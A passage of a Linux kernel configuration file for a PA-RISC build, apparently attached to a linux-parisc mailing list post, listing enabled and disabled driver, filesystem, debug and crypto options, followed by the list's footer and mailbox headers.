# CONFIG_LP_CONSOLE is not set
CONFIG_PPDEV=m
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# PCMCIA character devices
#
# CONFIG_SYNCLINK_CS is not set
# CONFIG_CARDMAN_4000 is not set
# CONFIG_CARDMAN_4040 is not set
# CONFIG_IPWIRELESS is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_I2C is not set
# CONFIG_SPI is not set

#
# PPS support
#
# CONFIG_PPS is not set
# CONFIG_W1 is not set
CONFIG_POWER_SUPPLY=y
# CONFIG_POWER_SUPPLY_DEBUG is not set
# CONFIG_PDA_POWER is not set
# CONFIG_BATTERY_DS2760 is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_REGULATOR is not set
CONFIG_MEDIA_SUPPORT=m

#
# Multimedia core support
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DVB_CORE is not set
# CONFIG_VIDEO_MEDIA is not set

#
# Multimedia drivers
#
CONFIG_IR_CORE=m
CONFIG_VIDEO_IR=m
# CONFIG_DAB is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=y
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
CONFIG_VIDEO_OUTPUT_CONTROL=y
CONFIG_FB=y
# CONFIG_FIRMWARE_EDID is not set
# CONFIG_FB_DDC is not set
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
CONFIG_FB_FOREIGN_ENDIAN=y
CONFIG_FB_BOTH_ENDIAN=y
# CONFIG_FB_BIG_ENDIAN is not set
# CONFIG_FB_LITTLE_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
CONFIG_FB_MODE_HELPERS=y
CONFIG_FB_TILEBLITTING=y

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_VIA is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
CONFIG_FB_VOODOO1=m
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_BROADSHEET is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=128
CONFIG_DUMMY_CONSOLE_ROWS=48
CONFIG_FRAMEBUFFER_CONSOLE=y
CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
CONFIG_STI_CONSOLE=y
CONFIG_FONTS=y
# CONFIG_FONT_8x8 is not set
CONFIG_FONT_8x16=y
# CONFIG_FONT_6x11 is not set
# CONFIG_FONT_7x14 is not set
# CONFIG_FONT_PEARL_8x8 is not set
# CONFIG_FONT_ACORN_8x8 is not set
# CONFIG_FONT_MINI_4x6 is not set
# CONFIG_FONT_SUN8x16 is not set
# CONFIG_FONT_SUN12x22 is not set
# CONFIG_FONT_10x18 is not set
CONFIG_LOGO=y
# CONFIG_LOGO_LINUX_MONO is not set
# CONFIG_LOGO_LINUX_VGA16 is not set
# CONFIG_LOGO_LINUX_CLUT224 is not set
CONFIG_LOGO_PARISC_CLUT224=y
CONFIG_SOUND=m
CONFIG_SOUND_OSS_CORE=y
CONFIG_SOUND_OSS_CORE_PRECLAIM=y
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
CONFIG_SND_SEQUENCER=m
# CONFIG_SND_SEQ_DUMMY is not set
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
CONFIG_SND_DYNAMIC_MINORS=y
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
# CONFIG_SND_RAWMIDI_SEQ is not set
# CONFIG_SND_OPL3_LIB_SEQ is not set
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DRIVERS=y
# CONFIG_SND_DUMMY is not set
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_MTS64 is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_PORTMAN2X4 is not set
# CONFIG_SND_AC97_POWER_SAVE is not set
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=m
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CS5535AUDIO is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_HIFIER is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
CONFIG_SND_USB=y
# CONFIG_SND_USB_AUDIO is not set
# CONFIG_SND_USB_CAIAQ is not set
# CONFIG_SND_PCMCIA is not set
CONFIG_SND_GSC=y
CONFIG_SND_HARMONY=m
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
CONFIG_HIDRAW=y

#
# USB Input Devices
#
CONFIG_USB_HID=y
# CONFIG_HID_PID is not set
# CONFIG_USB_HIDDEV is not set

#
# Special HID drivers
#
CONFIG_HID_A4TECH=y
CONFIG_HID_APPLE=y
CONFIG_HID_BELKIN=y
CONFIG_HID_CHERRY=y
CONFIG_HID_CHICONY=y
CONFIG_HID_CYPRESS=y
CONFIG_HID_DRAGONRISE=y
# CONFIG_DRAGONRISE_FF is not set
CONFIG_HID_EZKEY=y
CONFIG_HID_KYE=y
CONFIG_HID_GYRATION=y
CONFIG_HID_TWINHAN=y
CONFIG_HID_KENSINGTON=y
CONFIG_HID_LOGITECH=y
# CONFIG_LOGITECH_FF is not set
# CONFIG_LOGIRUMBLEPAD2_FF is not set
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
CONFIG_HID_NTRIG=y
CONFIG_HID_PANTHERLORD=y
# CONFIG_PANTHERLORD_FF is not set
CONFIG_HID_PETALYNX=y
CONFIG_HID_SAMSUNG=y
CONFIG_HID_SONY=y
CONFIG_HID_SUNPLUS=y
CONFIG_HID_GREENASIA=y
# CONFIG_GREENASIA_FF is not set
CONFIG_HID_SMARTJOYPLUS=y
# CONFIG_SMARTJOYPLUS_FF is not set
CONFIG_HID_TOPSEED=y
CONFIG_HID_THRUSTMASTER=y
# CONFIG_THRUSTMASTER_FF is not set
CONFIG_HID_ZEROPLUS=y
# CONFIG_ZEROPLUS_FF is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=y
# CONFIG_USB_DEBUG is not set
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
CONFIG_USB_DEVICEFS=y
# CONFIG_USB_DEVICE_CLASS is not set
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG is not set
CONFIG_USB_MON=y
# CONFIG_USB_WUSB is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
# CONFIG_USB_EHCI_HCD is not set
# CONFIG_USB_OXU210HP_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
CONFIG_USB_OHCI_HCD=y
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_UHCI_HCD=y
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_WHCI_HCD is not set
# CONFIG_USB_HWA_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
# CONFIG_USB_STORAGE is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_BERRY_CHARGE is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_VST is not set
# CONFIG_USB_GADGET is not set

#
# OTG and related infrastructure
#
# CONFIG_NOP_USB_XCEIV is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=y

#
# LED drivers
#

#
# LED Triggers
#
CONFIG_LEDS_TRIGGERS=y
CONFIG_LEDS_TRIGGER_TIMER=y
CONFIG_LEDS_TRIGGER_IDE_DISK=y
CONFIG_LEDS_TRIGGER_HEARTBEAT=y
# CONFIG_LEDS_TRIGGER_BACKLIGHT is not set
CONFIG_LEDS_TRIGGER_DEFAULT_ON=y

#
# iptables trigger is under Netfilter config (LED target)
#
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
CONFIG_DMADEVICES=y

#
# DMA Devices
#
CONFIG_AUXDISPLAY=y
# CONFIG_KS0108 is not set
# CONFIG_UIO is not set

#
# TI VLYNQ
#
# CONFIG_STAGING is not set

#
# File systems
#
CONFIG_EXT2_FS=y
CONFIG_EXT2_FS_XATTR=y
CONFIG_EXT2_FS_POSIX_ACL=y
CONFIG_EXT2_FS_SECURITY=y
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
CONFIG_EXT3_FS_XATTR=y
CONFIG_EXT3_FS_POSIX_ACL=y
CONFIG_EXT3_FS_SECURITY=y
# CONFIG_EXT4_FS is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_FS_MBCACHE=y
CONFIG_REISERFS_FS=m
# CONFIG_REISERFS_CHECK is not set
CONFIG_REISERFS_PROC_INFO=y
# CONFIG_REISERFS_FS_XATTR is not set
# CONFIG_JFS_FS is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_XFS_FS=m
CONFIG_XFS_QUOTA=y
# CONFIG_XFS_POSIX_ACL is not set
# CONFIG_XFS_RT is not set
# CONFIG_XFS_DEBUG is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_QUOTA=y
CONFIG_QUOTA_NETLINK_INTERFACE=y
CONFIG_PRINT_QUOTA_WARNING=y
CONFIG_QUOTA_TREE=y
# CONFIG_QFMT_V1 is not set
CONFIG_QFMT_V2=y
CONFIG_QUOTACTL=y
CONFIG_AUTOFS_FS=y
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set
CONFIG_GENERIC_ACL=y

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=y
# CONFIG_MSDOS_FS is not set
CONFIG_VFAT_FS=y
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_ECRYPT_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_SQUASHFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_NFS_V3_ACL is not set
# CONFIG_NFS_V4 is not set
CONFIG_ROOT_NFS=y
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
# CONFIG_NFSD_V3_ACL is not set
CONFIG_NFSD_V4=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_EXPORTFS=y
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=y
CONFIG_SUNRPC_GSS=y
CONFIG_RPCSEC_GSS_KRB5=y
CONFIG_RPCSEC_GSS_SPKM3=m
CONFIG_SMB_FS=m
CONFIG_SMB_NLS_DEFAULT=y
CONFIG_SMB_NLS_REMOTE="cp437"
CONFIG_CIFS=m
# CONFIG_CIFS_STATS is not set
CONFIG_CIFS_WEAK_PW_HASH=y
# CONFIG_CIFS_UPCALL is not set
CONFIG_CIFS_XATTR=y
CONFIG_CIFS_POSIX=y
# CONFIG_CIFS_DEBUG2 is not set
# CONFIG_CIFS_DFS_UPCALL is not set
# CONFIG_CIFS_EXPERIMENTAL is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=y
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=y
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=y
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_UTF8=y
# CONFIG_DLM is not set

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=1024
CONFIG_MAGIC_SYSRQ=y
# CONFIG_STRIP_ASM_SYMS is not set
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
CONFIG_DEBUG_SHIRQ=y
CONFIG_DETECT_SOFTLOCKUP=y
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC=y
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=1
CONFIG_DETECT_HUNG_TASK=y
# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0
CONFIG_SCHED_DEBUG=y
CONFIG_SCHEDSTATS=y
CONFIG_TIMER_STATS=y
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_DEBUG_SLAB is not set
CONFIG_DEBUG_RT_MUTEXES=y
CONFIG_DEBUG_PI_LIST=y
CONFIG_RT_MUTEX_TESTER=y
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_SPINLOCK_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
CONFIG_STACKTRACE=y
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
CONFIG_DEBUG_VM=y
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_DEBUG_LIST=y
CONFIG_DEBUG_SG=y
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
CONFIG_FRAME_POINTER=y
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_CPU_STALL_DETECTOR is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_FAULT_INJECTION is not set
CONFIG_LATENCYTOP=y
CONFIG_SYSCTL_SYSCALL_CHECK=y
CONFIG_DEBUG_PAGEALLOC=y
CONFIG_WANT_PAGE_DEBUG_FLAGS=y
CONFIG_PAGE_POISONING=y
CONFIG_DYNAMIC_DEBUG=y
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RODATA is not set

#
# Security options
#
CONFIG_KEYS=y
CONFIG_KEYS_DEBUG_PROC_KEYS=y
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
# CONFIG_DEFAULT_SECURITY_SELINUX is not set
# CONFIG_DEFAULT_SECURITY_SMACK is not set
# CONFIG_DEFAULT_SECURITY_TOMOYO is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_XOR_BLOCKS=y
CONFIG_ASYNC_CORE=y
CONFIG_ASYNC_MEMCPY=y
CONFIG_ASYNC_XOR=y
CONFIG_ASYNC_PQ=y
CONFIG_ASYNC_RAID6_RECOV=y
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_GF128MUL is not set
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
CONFIG_CRYPTO_TEST=m

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=y
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=m
# CONFIG_CRYPTO_GHASH is not set
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=y
CONFIG_CRYPTO_MICHAEL_MIC=m
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_WP512=m

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
CONFIG_CRYPTO_ANUBIS=m
CONFIG_CRYPTO_ARC4=m
CONFIG_CRYPTO_BLOWFISH=m
# CONFIG_CRYPTO_CAMELLIA is not set
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_DES=y
# CONFIG_CRYPTO_FCRYPT is not set
CONFIG_CRYPTO_KHAZAD=m
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=y
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
CONFIG_CRYPTO_HW=y
# CONFIG_CRYPTO_DEV_HIFN_795X is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_FIND_LAST_BIT=y
CONFIG_CRC_CCITT=m
# CONFIG_CRC16 is not set
CONFIG_CRC_T10DIF=y
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=y
CONFIG_LZO_DECOMPRESS=y
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_NLATTR=y
CONFIG_GENERIC_ATOMIC64=y

--------------030907020307080706030008--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

